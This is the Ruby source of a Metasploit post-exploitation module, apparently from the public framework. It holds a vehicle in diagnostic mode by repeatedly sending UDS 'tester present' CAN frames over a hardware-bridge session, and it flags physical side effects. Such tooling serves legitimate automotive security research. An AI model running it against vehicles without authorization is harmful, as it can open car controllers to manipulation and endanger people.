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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Post
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Diagnostic State',
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        'Description' => ' This module will keep the vehicle in a diagnostic state on rounds by sending tester present packet',
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        'License' => MSF_LICENSE,
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        'Author' => ['Jay Turla'],
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        'Platform' => ['hardware'],
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        'SessionTypes' => ['hwbridge'],
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        'Notes' => {
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          'Stability' => [CRASH_SAFE],
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          'SideEffects' => [PHYSICAL_EFFECTS],
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          'Reliability' => []
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        }
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      )
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    )
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    register_options([
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      OptString.new('ARBID', [false, 'CAN ID to perform Diagnostic State', '0x7DF']),
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      OptString.new('CANBUS', [false, 'CAN Bus to perform scan on, defaults to connected bus', nil]),
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      OptInt.new('ROUNDS', [true, 'Number of executed rounds', 500])
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    ])
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  end
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  def run
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    unless client.automotive
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      print_error('The hwbridge requires a functional automotive extention')
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      return
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    end
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    print_status('Putting the vehicle in a diagnostic state...')
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    print_status('In order to keep the vehicle in this state, you need to continuously send a packet to let the vehicle know that a diagnostic technician is present.')
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    datastore['ROUNDS'].times do
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      client.automotive.cansend(datastore['CANBUS'], datastore['ARBID'], '013E')
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    end
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  end
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end
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